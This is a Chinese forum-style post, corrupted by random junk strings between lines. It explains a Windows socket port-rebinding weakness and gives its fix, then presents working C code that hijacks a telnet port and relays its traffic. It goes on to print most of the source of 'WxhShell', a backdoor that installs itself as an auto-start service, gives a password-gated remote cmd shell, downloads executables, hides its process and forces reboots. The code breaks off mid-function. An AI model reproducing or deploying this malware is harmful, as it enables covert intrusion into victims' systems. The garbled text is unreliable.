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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Vn^) s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t-x[:i w=|py>% saddr.sin_family = AF_INET; c+~LpSQ &Bm&i.r saddr.sin_addr.s_addr = htonl(INADDR_ANY); F.68iN}
,%kmXh bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1&|
C!5I?z& 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _H8*ReFG |U EC 这意味着什么?意味着可以进行如下的攻击: \X5 3|Y;= w763zi{ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 TU%bOAKF\ 7k'gt/#up 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) O:._W< \ADLMj`F| 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &atyDFJ' 9n"V\e_R 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 []gRfM]$& YQYX,b 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 .;g}%C e}e6r3faz 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ke\[wa_!6b r8,om^N6 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \2 >3Opt jM @?<1
#include +(&|u q^ #include f3vF"O #include :v)6gz(p #include A?r^V2+j DWORD WINAPI ClientThread(LPVOID lpParam); ?A&%Cwj int main() vY_eDJ~' { #Kl}= 1
4 WORD wVersionRequested; R5ZIC4p DWORD ret; G\ex^&M WSADATA wsaData; +`Pmq}ey BOOL val; (v^Z BM_ SOCKADDR_IN saddr; lE'wfUb SOCKADDR_IN scaddr; \<V)-eB int err; d@ (vg SOCKET s; 1qZG`Vz SOCKET sc; (A4&k{C_ int caddsize; R5kH0{zM HANDLE mt; r]T0+ oQ> DWORD tid; G "brT 5: wVersionRequested = MAKEWORD( 2, 2 ); $DE&J4K err = WSAStartup( wVersionRequested, &wsaData ); O|e} if ( err != 0 ) { Sc_5FX\Yx printf("error!WSAStartup failed!\n"); d}+W"j; return -1; ;_N5>3C: } J@Yj\9U saddr.sin_family = AF_INET; R6P\T\~E c1#+Vse //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 X~L!e}Rz U&W"Ea=R/ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); sLhDO'kM saddr.sin_port = htons(23); D/:3RZF if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q.T:0| { 6$RpV'xz printf("error!socket failed!\n"); +zp0" ,2B return -1; L!y"d!6C } vyU!+mlc val = TRUE; Nw pS)6<- //SO_REUSEADDR选项就是可以实现端口重绑定的 -Qb0:]sV# if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Nog(VN4I& { r?3Aqi" printf("error!setsockopt failed!\n"); H~Uq?!=b return -1; PeNF+5s/K } #jP/k. //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; y6%<zhs //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5[R?iSGL1 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9g]M4*?C9P 28UVDG1? if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U^ ?=
0+ { 4ZI_pf ret=GetLastError(); PGX+p+wB printf("error!bind failed!\n"); (/?R9T[V&^ return -1; 9XOyj5 } W[|[;{ listen(s,2); X| <yq while(1) 4f {+pf^R { f#OQ (WTJE caddsize = sizeof(scaddr); +)gB9DoK //接受连接请求 e{!vNJ0` sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); F1c&0*_A if(sc!=INVALID_SOCKET) 0p3vE,pF { 7>,rvW:] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t)r1"oA if(mt==NULL) Dl A Z"C { H[nz]s printf("Thread Creat Failed!\n"); [@2s&Ct; break; .$wLLE^* } }4h0bI } ?D=8{!R3 CloseHandle(mt); :Tb7r6 } o](.368+4 closesocket(s); dtTlIhh1V WSACleanup(); QJSr:dP4dG return 0; !01i%W' } =l,#iYJP8 DWORD WINAPI ClientThread(LPVOID lpParam) 968^ "T# { V(..8}LlD SOCKET ss = (SOCKET)lpParam; 5f_7&NxT SOCKET sc; PEzia}m unsigned char buf[4096]; |-61(X. SOCKADDR_IN saddr; U~/ID long num; 6"%2,`Nu DWORD val; #r}uin*jD DWORD ret; $G3@< BIN //如果是隐藏端口应用的话,可以在此处加一些判断 -u~eZ?(!Ye //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 5"gL.Ez saddr.sin_family = AF_INET; -tyaE saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %?dE{ir saddr.sin_port = htons(23); 1b[NgOXY= if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ImHU:iR[J- { oHsP?%U printf("error!socket failed!\n"); }]GbUC!Zb return -1; Efr3x{ j } Q>%E`h val = 100; veO?k.u( if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "tX7%( { AT ymKJ ret = GetLastError(); uO"8aD`W return -1; 7@a\* |K6 } fTgbF{?xh if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {aIZFe}B { Tk](eQsy.v ret = GetLastError(); /.@x
4cdS return -1; zq=&4afOE } 2Fq=jOA)z$ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2@*<9-9 { ArX]L$D printf("error!socket connect failed!\n"); cNeiD@t3V& closesocket(sc); c(&AnIlS closesocket(ss); }5hZo%w[n return -1; hXTYTbTX }
@ExLh9 while(1) mtX31M4 { RNe9h lr //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 f}blB?e //如果是嗅探内容的话,可以再此处进行内容分析和记录 #/s7\2 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h[y*CzG num = recv(ss,buf,4096,0); xD^wTtT if(num>0) m{O
Dz: send(sc,buf,num,0); PJ;.31u else if(num==0) O!,Ca1N break; $>![wZ3 num = recv(sc,buf,4096,0); F {/>u(@3 if(num>0) p9Z].5Pd" send(ss,buf,num,0); /} a_8iM\ else if(num==0) bw020@O* break; H7}g!n? } ajGcKyj8i closesocket(ss); LS{bg.e closesocket(sc); ?N`qLGRm return 0 ; 9u?Eb~#$ } M6&~LI.We= ovbEmb 6UO$z- e ========================================================== Enu!u~1]F e) ]RA?bF 下边附上一个代码,,WXhSHELL PY2[S[ *|^,DGfQ6 ========================================================== 5
>'66gZ %uj[ ` #include "stdafx.h" el}hcAY/RP 3`xsK[ #include <stdio.h> */4tJG1U #include <string.h> #s*k|
j} #include <windows.h> & \JLTw #include <winsock2.h> $.``OxJk% #include <winsvc.h> e~3]/BL #include <urlmon.h> fjcr<&{: Qg[heND #pragma comment (lib, "Ws2_32.lib") (x}A_i #pragma comment (lib, "urlmon.lib") xm^N8 ::v;)VdX+* #define MAX_USER 100 // 最大客户端连接数 AjG)1 #define BUF_SOCK 200 // sock buffer Ywmyr[Uh' #define KEY_BUFF 255 // 输入 buffer zaH
5
Km_j =Y/}b\9`T #define REBOOT 0 // 重启 mZ]P[lQ'5 #define SHUTDOWN 1 // 关机 @51z-T vf6`s\6 #define DEF_PORT 5000 // 监听端口 MST:.x ; GI}4,!^N #define REG_LEN 16 // 注册表键长度 *U:VM'a #define SVC_LEN 80 // NT服务名长度 *+NGi(N " 98/HzR // 从dll定义API w8G7Jy typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
0K&_D) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "&@gX_% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2@rp<&s typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pi|\0lH6W o1
jk= // wxhshell配置信息 K/!/M%GB6 struct WSCFG { a:=q8Qy int ws_port; // 监听端口 #c6ui0E%;t char ws_passstr[REG_LEN]; // 口令 sq6>DuBZz int ws_autoins; // 安装标记, 1=yes 0=no joxS+P5# char ws_regname[REG_LEN]; // 注册表键名 2j2mW>Z char ws_svcname[REG_LEN]; // 服务名 q
sv+.aW char ws_svcdisp[SVC_LEN]; // 服务显示名 65'`uuPx char ws_svcdesc[SVC_LEN]; // 服务描述信息 >/(i3) char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J>&[J!>r int ws_downexe; // 下载执行标记, 1=yes 0=no c'"#q) char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" _TtX`b_Z char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FX{~" XPar_8I }; AmP#'U5 xylpiSJ // default Wxhshell configuration E%-Pyg* struct WSCFG wscfg={DEF_PORT, ;7;zhJs1t "xuhuanlingzhe", U*
-% M 1, ,Y`'myL8W "Wxhshell", K%98;e9 "Wxhshell", &mX5&e "WxhShell Service", =6.8bZT\ "Wrsky Windows CmdShell Service", 3?!G- "Please Input Your Password: ", 6XQ*:N/4al 1, !Sh^LYqn " http://www.wrsky.com/wxhshell.exe", 5x:Ift
* "Wxhshell.exe" x, G6\QmA }; C!oS=qK?] *54>iO-
c // 消息定义模块 CnxK+1n l char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1~["{u char *msg_ws_prompt="\n\r? for help\n\r#>"; (%``EIc<8 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; G3 Idxs char *msg_ws_ext="\n\rExit."; jlYD~) char *msg_ws_end="\n\rQuit."; KC@k9e char *msg_ws_boot="\n\rReboot..."; .OVW4svX char *msg_ws_poff="\n\rShutdown..."; CBiU#h
q char *msg_ws_down="\n\rSave to "; <dju6k7uz #G'S
ve? char *msg_ws_err="\n\rErr!"; 5*s1qA0^ char *msg_ws_ok="\n\rOK!"; ?b!CV
i /O1vU# char ExeFile[MAX_PATH]; qZT 4+&y int nUser = 0; 8@Egy%_ HANDLE handles[MAX_USER]; A)b)ff , int OsIsNt; /e-ka{WS [@,OG-"& SERVICE_STATUS serviceStatus; b*I&k": SERVICE_STATUS_HANDLE hServiceStatusHandle; ga4/, }-REBrb- // 函数声明 y3
({(URU int Install(void); {]t\`fjrg int Uninstall(void); ,!o\),N int DownloadFile(char *sURL, SOCKET wsh); t9Enk!@ int Boot(int flag); '1>g=Ic0 void HideProc(void); \_*?R,$3Y, int GetOsVer(void); %JP&ox|^& int Wxhshell(SOCKET wsl); dWzDSlP& void TalkWithClient(void *cs); v`[Tl int CmdShell(SOCKET sock); N<#S3B?. int StartFromService(void); ^4xlZouCb int StartWxhshell(LPSTR lpCmdLine); HGP%a1RF# _H~pH7WU VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .u&&H_ UmE VOID WINAPI NTServiceHandler( DWORD fdwControl ); u4b3bH9U y1,?ZWTayr // 数据结构和表定义 }aHB$}"! SERVICE_TABLE_ENTRY DispatchTable[] = f7EIDFX>pt {
Q{J"`d2 {wscfg.ws_svcname, NTServiceMain}, B$} wF<`k7 {NULL, NULL} d&PE,$XC }; ZI2K-z'e ?/`C~e<J // 自我安装 *6 z'+' int Install(void) 8k+q7 { _Ewy^;S%L char svExeFile[MAX_PATH]; Pi&fwGL HKEY key; #hy5c,}> strcpy(svExeFile,ExeFile); LW83Y/7 |0C|$2 // 如果是win9x系统,修改注册表设为自启动 N3XVT{yo if(!OsIsNt) { 2- Npw%; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fd!pM4"0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @!L@UP0 RegCloseKey(key); ;X*K*q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7':5
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?YkO+?}+ RegCloseKey(key); )H[h53bIq return 0; 2R_opbw } uZqu xu. } z{D$~ ob } )RAv[U1 else { ]HNT(w@ ^-e3=& // 如果是NT以上系统,安装为系统服务 IEIxjek SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :w
{M6mM> if (schSCManager!=0) {Gk}3u/ { 4AJu2Hp SC_HANDLE schService = CreateService &;NNUT>Q ( W[[YOK1T schSCManager, &dZ.+#8r wscfg.ws_svcname, +s+PnZ%0V wscfg.ws_svcdisp, JhMrm% SERVICE_ALL_ACCESS, evndw> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uusY,Dt/9 SERVICE_AUTO_START, @ 2%.>0s. SERVICE_ERROR_NORMAL, J#Ne:Aj_ svExeFile, , IMT '* NULL, )<}VP&:X NULL, Fu1|b2B-x NULL, ~Me&cT8 NULL, eBSn1n
NULL vZ_DG}n11 ); T,xVQ4J? if (schService!=0) JX2
| { \DcC1W CloseServiceHandle(schService); % b>y CloseServiceHandle(schSCManager); 654jS! strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QAOk strcat(svExeFile,wscfg.ws_svcname); M$>WmG1~D if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8ZNd|\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mISuo RegCloseKey(key); J<5vs3[9 return 0; zM8/s96h } ^Lg{2hjj } gKm~cjCB`~ CloseServiceHandle(schSCManager); n_xQSVI0F } 6Ymo%OT } }07<(,0n -fSKJo#}| return 1; AVevYbucB } d~z<,_r5c xt<,
(4u // 自我卸载 ("P mB?20 int Uninstall(void) -JyODW#j { S}xDB HKEY key; \ \mO+N47i nE"b` if(!OsIsNt) { @=zBF'<.9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fY\tvo% RegDeleteValue(key,wscfg.ws_regname); n]ppO
U|[ RegCloseKey(key); gx>mKSzy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f@.Q%+!4 RegDeleteValue(key,wscfg.ws_regname); k~9Ywf RegCloseKey(key); O,xAu}6f+ return 0; -5-SlQu } W!Ct[t } zC>(!fJqq } ~E6+2t* else { ``YL]
<< $d??( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YDzF( ']o: if (schSCManager!=0) HS&uQc a { K/.hJ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j
BQqpFH9 if (schService!=0) W-ND<=:Up { :c/=fWM% if(DeleteService(schService)!=0) { Xi`U`7?D(= CloseServiceHandle(schService); 3<'Q`H > CloseServiceHandle(schSCManager); @XG`D>%k return 0; uxJiec`& } >dC(~j{ CloseServiceHandle(schService); hpi_0lMkI } +&zuI CloseServiceHandle(schSCManager); .STf } H><mcah } #&8pp8wd,} Q@.9wEAJ return 1; @U.}Ei } vFvu8*0 P;91C'T-x // 从指定url下载文件 ps;o[gB@5 int DownloadFile(char *sURL, SOCKET wsh) iU+,Jeu { mS;Q8Crh HRESULT hr; 2F@<{v4 char seps[]= "/"; <.B> LU char *token; Q+js2?7^ char *file; F4{. 7BT char myURL[MAX_PATH]; !<^j!'2 char myFILE[MAX_PATH]; A(sx5Ynp <^c0bY1 strcpy(myURL,sURL); @:&dOqQ token=strtok(myURL,seps); YZtA:>;p while(token!=NULL) .0;k|&eBD { jP6G.aiO file=token; mb6?$1j token=strtok(NULL,seps); 7
,~Krzv } ' g!_Flk X10TZ GetCurrentDirectory(MAX_PATH,myFILE); T
]nR
XW$ strcat(myFILE, "\\"); tJfN6 strcat(myFILE, file); t"Rf67 send(wsh,myFILE,strlen(myFILE),0); %z_b/yG send(wsh,"...",3,0); Kyiez]T6%q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;8Q?`=a if(hr==S_OK) U1tPw`0h return 0; /FZ )ej\ else uXa}<=O return 1; S5vMP
N s"!}=kX } <.XoC?j J3E:r_+ // 系统电源模块 ?bi^h/f int Boot(int flag) -+Ji~;b { A^7Zy79 HANDLE hToken; Bm>(m{sX> TOKEN_PRIVILEGES tkp; !Bbwl-e` 9cPucKuj if(OsIsNt) { v333z<<S OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wWswuhq< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q%d[U4@ tkp.PrivilegeCount = 1; J=bOw// tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <xz-7EqbwX AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }eK*) if(flag==REBOOT) { r/:'}os; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5WG@ ;K% return 0; 2xm?,p` } jH/%Z5iu else { -<.NEV if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }('QIvq2 return 0; \dbtdhT;Z } nXW1 : } N/.9Aj/h~& else { j* ja) if(flag==REBOOT) { 5<
nK.i, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZS;kCdL return 0; Z)~4)71Y: } ^el:)$ else { KwyXM9h6= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (P_+m# return 0; w-/Tb~#E } Dn!V)T } m8`A~ LRgk9*@, return 1; L2tmo-]nw } rbWFq|(_ =^}2 /vA // win9x进程隐藏模块 t?Znil|o void HideProc(void) /iy/2x28> { #SOe&W5 3EdPKM j& HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N/p_6GYMa if ( hKernel != NULL ) nV1,
):kh { 5lbh
"m= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ABf#!G ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B5S1F4 FreeLibrary(hKernel); 3+'w% I } (~4AG \ \:S8mDI^s return; S([De"y } To95WG7G kE}Ib4]J // 获取操作系统版本 V00zk`PH int GetOsVer(void) b1"wQM9 { P*Nl3?T OSVERSIONINFO winfo; v4G kf winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U/X ^ GetVersionEx(&winfo); ^
T S\x/P if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |,crQ'N' return 1; JJr<cZ4] else
=>U~ligu return 0; EWi@1PAZK } _4w%U[GT, %|~UNP$ // 客户端句柄模块 aJts int Wxhshell(SOCKET wsl) )sr]}S0 { >'eqOZM SOCKET wsh; 1['A1, struct sockaddr_in client; 'lF|F+8 DWORD myID; TnrMR1Zx 6 9Cxh while(nUser<MAX_USER) rv[\2@} { l%O-c}X int nSize=sizeof(client); +oa]v1/W wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &W%TY:Da| if(wsh==INVALID_SOCKET) return 1; zq#o8))4X ),_bDI L+ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8MdKH7 if(handles[nUser]==0) ?bEYvHAzg closesocket(wsh); S;C3R5*: else pJIH_H nUser++; l #Tm`br } e-WaK0Ep WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >;Bhl|r~z +q(D]:@,[ return 0; n.)-aRu[ } S70ERRk XpGom;z^c // 关闭 socket 6m]L{ buP void CloseIt(SOCKET wsh) hf'3yEm { >3JOQ;:d8 closesocket(wsh); `i}\k nUser--; 6\`,blkX ExitThread(0); ;4 &~i } (]JJ?aAF Kfi A 7W // 客户端请求句柄 _ n>0! void TalkWithClient(void *cs) =F`h2 A;a { 9:Y\D.M 3ySnA AG SOCKET wsh=(SOCKET)cs; srCjq char pwd[SVC_LEN]; 2aG<^3 char cmd[KEY_BUFF]; 5H79) n> char chr[1]; *?uF&( 0 int i,j; myYe~f4=HQ U>>J_2 while (nUser < MAX_USER) { a8N!jQc_m _CgD7d if(wscfg.ws_passstr) { UY==1\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q/[)mr|~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -{O2Nv- ]] //ZeroMemory(pwd,KEY_BUFF); au8)G_A i=0; $R^"~|m3M while(i<SVC_LEN) { mr*zl* O&)Y3 O1 // 设置超时 v4&*iT fd_set FdRead; N9i>81tY struct timeval TimeOut; ZK;HW FD_ZERO(&FdRead); Z/0M9 Q% FD_SET(wsh,&FdRead); f_
::? TimeOut.tv_sec=8; FGZOn5U6' TimeOut.tv_usec=0; &1I0i[R int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0]Li"Wb if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XW19hG 6S<pWR~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $}&6p6| pwd =chr[0]; #):FXB$a if(chr[0]==0xd || chr[0]==0xa) { ''V:+@Toh pwd=0; / og'W j break; Kp"o0fh<9 } dkXK0k i++; LOQEU?z } ON$u581 y WB= gN:? // 如果是非法用户,关闭 socket -O ej6sILO if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <5nz:B/ } V8c&2rNa Q4UaqiL send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s Ce{V*ua send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P'g$F<~V d`Wd"LJ= while(1) { wc ^z9y FzNs >* ZeroMemory(cmd,KEY_BUFF); kQYX[e7n E")82I // 自动支持客户端 telnet标准 W#ev j=0; ,l~i|_ while(j<KEY_BUFF) { "_9Dau$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yw./V0Z{@ cmd[j]=chr[0]; Wz9 }glr if(chr[0]==0xa || chr[0]==0xd) { Zj$U_ cmd[j]=0; `,xKK+~YG- break; O[$&]>x]] } CY9`ztO* j++; aQcJjF5x } }"A.[9 b
d':c // 下载文件 XO219 if(strstr(cmd,"http://")) { >8EIm send(wsh,msg_ws_down,strlen(msg_ws_down),0); - wCfwC if(DownloadFile(cmd,wsh)) g&&5F>mF send(wsh,msg_ws_err,strlen(msg_ws_err),0); RH~KaV3 else gLU #\d] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PY~cu@'k{ } .I<#i9Le else { |s=)*DZv u0\?aeg` switch(cmd[0]) { RP!X5 kbiMqiPG // 帮助 bfhap(F~(e case '?': { 3lQGU send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !bRoNP break; &E0P`F,GQA } "1yXOy^2 // 安装 d%8hWlffz case 'i': { [O7:<co if(Install()) *+rO3% ;t send(wsh,msg_ws_err,strlen(msg_ws_err),0); v?vm-e else C,HKao\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rK7m( break; IXc"gO } *`7cvt5]IM // 卸载 t&*X~(Yb! case 'r': { K`Vi5hR~c if(Uninstall()) /p}^Tpu send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;%{REa else W!MO}0s send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1<IF@__ break; 76Ho\}-U"> } xJlf}LEyF // 显示 wxhshell 所在路径 Q+YYj case 'p': { AU0pJB' char svExeFile[MAX_PATH]; /?C}PM strcpy(svExeFile,"\n\r"); g]%sX6T strcat(svExeFile,ExeFile); Y- esD'MD send(wsh,svExeFile,strlen(svExeFile),0); P+K< /i break; 7|bzopLJk } W:VRLT>w> // 重启 VI_8r5o case 'b': { c%tb6@C send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J$"3w,O6+U if(Boot(REBOOT)) v!~tX*q send(wsh,msg_ws_err,strlen(msg_ws_err),0); vM5yiHI(jb else { 9
M>.9~ closesocket(wsh); ,E
] vM& ExitThread(0); jjLx60|{ } RKru
hF break; 3}hJ`xQ } jAXKp
b // 关机 ZMa@/\pf1 case 'd': { cCa+UTxaJ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z8 eB5!$ if(Boot(SHUTDOWN)) Es]:-TR send(wsh,msg_ws_err,strlen(msg_ws_err),0); VO
u/9]a else { -?%81 z.Qq closesocket(wsh); Tew?e&eO ExitThread(0); z.Y`"B'j` } 3:wN^!A}ve break; h$`zuz } 5TynAiSD_> // 获取shell +V
Oczl= case 's': { ?2q4dx0 CmdShell(wsh); ;+;%s D closesocket(wsh); ?c ur}` ExitThread(0); ~S\y)l\wZ break; ngLpiU0H& } H"5=z7w // 退出 ^L?2y/ case 'x': { z*,J0)<Q send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oU`{6 ~; CloseIt(wsh); 4(nwi[1Y break; \0fS;Q^{j } e|1.-P@ // 离开 0&Z+P?Wb4 case 'q': { 8.WZC1N send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6N<
snBmd closesocket(wsh); 3sD/4 ? WSACleanup(); >S}^0vNZX exit(1); &*j# [6 break; taBCE?{ } 2I$-&c] } O_4j"0 } %LjhK,'h B>r>z5 // 提示信息 ,z5B"o{Et if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a8}!9kL } 1fMl8[!JLu } CaB@,L B%(-UTQf return; ;%^T*?t } ;&9wG` +'V ,z // shell模块句柄 |C`.m| int CmdShell(SOCKET sock) ]k)h<)nY { jI!WE$dt STARTUPINFO si; UFPSQ ZeroMemory(&si,sizeof(si)); `xsU'Wd^< si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g9G
8; si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q?$<{Z" PROCESS_INFORMATION ProcessInfo; IA~wmOF char cmdline[]="cmd"; 5:vy_e& CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C^ 1;r9 return 0; rUDMQxLruV } >5M Hn@ `nv82v // 自身启动模式 OM (D@up int StartFromService(void) wS;hC&~2 { BvqypLI typedef struct ' }T6dS { n-x%<j(Xf DWORD ExitStatus; ay>u``$R DWORD PebBaseAddress; 8m*uT< 5D DWORD AffinityMask; q3e^vMK" DWORD BasePriority; eUEO~M2&U{ ULONG UniqueProcessId; JXAH/N&i ULONG InheritedFromUniqueProcessId; b
|JM4jgK } PROCESS_BASIC_INFORMATION; (aX6jdvo u Tvck6 PROCNTQSIP NtQueryInformationProcess; cIOM}/gqv [`U9 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ByivV2qd{ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {wCzm @ $2xiE.[ HANDLE hProcess; w6G<&1iH PROCESS_BASIC_INFORMATION pbi; Y N*"q'Yz_ s^>1rV]=(` HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J`[He$7) if(NULL == hInst ) return 0; p^X
